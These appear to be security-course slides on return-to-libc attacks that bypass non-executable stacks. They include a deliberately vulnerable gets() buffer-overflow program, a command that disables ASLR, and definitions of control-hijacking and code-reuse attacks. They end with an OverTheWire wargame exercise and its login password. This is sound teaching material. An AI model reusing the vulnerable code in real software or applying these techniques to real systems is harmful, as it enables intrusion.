DYNAMIC	0x002ee0	0x00003ee0	0x00003ee0	0x000f8	0x000f8	RW	0x4
NOTE	0x0001c8	0x000001c8	0x000001c8	0x00060	0x00060	R	0x4
GNU_PROPERTY	0x0001ec	0x000001ec	0x000001ec	0x0001c	0x0001c	R	0x4
GNU_EH_FRAME	0x002008	0x00002008	0x00002008	0x0005c	0x0005c	R	0x4
GNU_STACK	0x000000	0x00000000	0x00000000	0x00000	0x00000	RW	0x10
GNU_RELRO	0x002ed8	0x00003ed8	0x00003ed8	0x00128	0x00128	R	0x1

What DEP cannot prevent

Can still corrupt stack or function pointers or critical data on the heap

As long as RET (saved EIP) points into legit code section, W \oplus X protection will not block control transfer

Ret2libc 32bit Bypassing NX

Ret2libc

Now programs built with non-executable stack.

Then, how to run a shell? Ret to C library ***system("/bin/sh")*** like how we called `printsecret()` in `overflowret`

Description

The C library function `int system(const char *command)` passes the command name or program name specified by `command` to the host environment to be executed by the command processor and returns after the command has been completed.

Declaration

Following is the declaration for `system()` function.

```
int system(const char *command)
```

Parameters

- `command` – This is the C string containing the name of the requested variable.

Return Value

The value returned is `-1` on error, and the return status of the command otherwise.

Buffer Overflow Example: code/overflowret4 32-bit (./or4nxnc)

```
int vulfoo()
{
    char buf[30];

    gets(buf);
    return 0;
}

int main(int argc, char *argv[])
{
    vulfoo();
    printf("I pity the fool!\n");
}
```

Use "echo 0 | sudo tee /proc/sys/kernel/randomize_va_space" on
Ubuntu to disable ASLR temporarily

Conditions we depend on to pull off the attack of *ret2libc*

- ~~1. The ability to put the shellcode onto stack (env, command line)~~
- ~~2. The stack is executable~~
3. The ability to overwrite RET addr on stack before instruction **ret** is executed or to overwrite Saved EBP
4. Know the address of the destination function and arguments

Control Hijacking Attacks

Control flow

- Order in which individual statements, instructions or function calls of a program are executed or evaluated

Control Hijacking Attacks (Runtime exploit)

- A control hijacking attack exploits a program error, particularly a memory corruption vulnerability, at application runtime to subvert the intended control-flow of a program.
- Alter a code pointer (i.e., value that influences program counter) or, Gain control of the instruction pointer `%eip`
- Change memory region that should not be accessed

Code-injection Attacks

Code-injection Attacks

- a subclass of control hijacking attacks that subverts the intended control-flow of a program to previously injected malicious code

Shellcode

- code supplied by attacker – often saved in buffer being overflowed – traditionally transferred control to a shell (user command-line interpreter)
- machine code – specific to processor and OS – traditionally needed good assembly language skills to create – more recently have automated sites/tools

Code-Reuse Attack

Code-Reuse Attack: a subclass of control-flow attacks that subverts the intended control-flow of a program to invoke an unintended execution path inside the original program code.

Return-to-Libc Attacks (Ret2Libc)

Return-Oriented Programming (ROP)

Jump-Oriented Programming (JOP)

Exercise: Overthewire /maze/maze2

Overthewire

<http://overthewire.org/wargames/>

1. Open a terminal
2. Type: `ssh -p 2225 maze2@maze.labs.overthewire.org`
3. Input password: `fooghihahr`
4. `cd /maze`; this is where the binary are
5. Your goal is to get the password of maze3